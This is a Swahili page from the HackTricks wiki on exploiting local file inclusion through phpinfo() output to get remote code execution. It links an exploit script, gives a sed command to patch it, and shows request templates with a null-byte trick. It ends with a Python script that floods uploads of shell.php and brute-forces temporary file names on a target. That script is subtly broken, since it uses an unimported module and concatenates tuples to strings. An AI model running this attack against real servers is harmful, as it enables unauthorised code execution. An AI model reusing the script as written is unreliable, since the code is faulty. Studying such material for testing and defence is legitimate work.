5.1 KiB
Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua Familia ya PEASS, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.
Kuweza kutumia udhaifu huu unahitaji: Udhaifu wa LFI, ukurasa ambapo phpinfo() inaonyeshwa, "file_uploads = on" na seva inapaswa kuweza kuandika kwenye saraka ya "/tmp".
https://www.insomniasec.com/downloads/publications/phpinfolfi.py
Mafunzo HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Unahitaji kusahihisha udukuzi (badilisha => na =>). Unaweza kufanya hivyo kwa:
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
Lazima ubadilishe pia payload mwanzoni mwa shambulizi (kwa mfano, kwa php-rev-shell), REQ1 (inapaswa kuashiria ukurasa wa phpinfo na lazima iwe na padding iliyomo, yaani: REQ1 = """POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), na LFIREQ (inapaswa kuashiria udhaifu wa LFI, yaani: LFIREQ = """GET /info?page=%s%%00 HTTP/1.1\r -- Angalia "%" mara mbili wakati wa kutumia null char)
{% file src="../../.gitbook/assets/LFI-With-PHPInfo-Assistance.pdf" %}
Nadharia
Ikiwa kupakia kuruhusiwa katika PHP na unajaribu kupakia faili, faili hii hifadhiwa katika saraka ya muda mpaka seva imemaliza kusindika ombi, kisha faili hii ya muda inafutwa.
Kwa hivyo, ikiwa umepata udhaifu wa LFI kwenye seva ya wavuti, unaweza kujaribu kuhadithia jina la faili ya muda iliyoundwa na kudukua RCE kwa kufikia faili ya muda kabla haijafutwa.
Katika Windows, faili kawaida hifadhiwa katika C:\Windows\temp\php
Katika linux, jina la faili hutumiwa kuwa la nasibu na liko katika /tmp. Kwa kuwa jina ni la nasibu, ni muhimu kutolea mahali jina la faili ya muda na kufikia kabla haijafutwa. Hii inaweza kufanywa kwa kusoma thamani ya variable $_FILES ndani ya maudhui ya kazi "phpconfig()".
phpinfo()
PHP hutumia buffer ya 4096B na wakati inapokuwa imejaa, inatumwa kwa mteja. Kisha mteja anaweza kutuma ombi nyingi kubwa (kwa kutumia vichwa vikubwa) kupakia php reverse shell, kusubiri sehemu ya kwanza ya phpinfo() irudishwe (ambapo jina la faili ya muda iko) na kujaribu kufikia faili ya muda kabla ya seva ya php kufuta faili hiyo kwa kutumia udhaifu wa LFI.
Script ya Python kujaribu kuvunja jina (ikiwa urefu = 6)
import itertools
import requests
import sys
print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)
print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text: # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)
print('[x] Something went wrong, please try again')
Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!
Njia nyingine za kusaidia HackTricks:
- Ikiwa unataka kuona kampuni yako ikionekana kwenye HackTricks au kupakua HackTricks kwa muundo wa PDF Angalia MPANGO WA KUJIUNGA!
- Pata swag rasmi ya PEASS & HackTricks
- Gundua The PEASS Family, mkusanyiko wetu wa NFTs ya kipekee
- Jiunge na 💬 Kikundi cha Discord au kikundi cha telegram au tufuate kwenye Twitter 🐦 @carlospolopm.
- Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwenye HackTricks na HackTricks Cloud repos za github.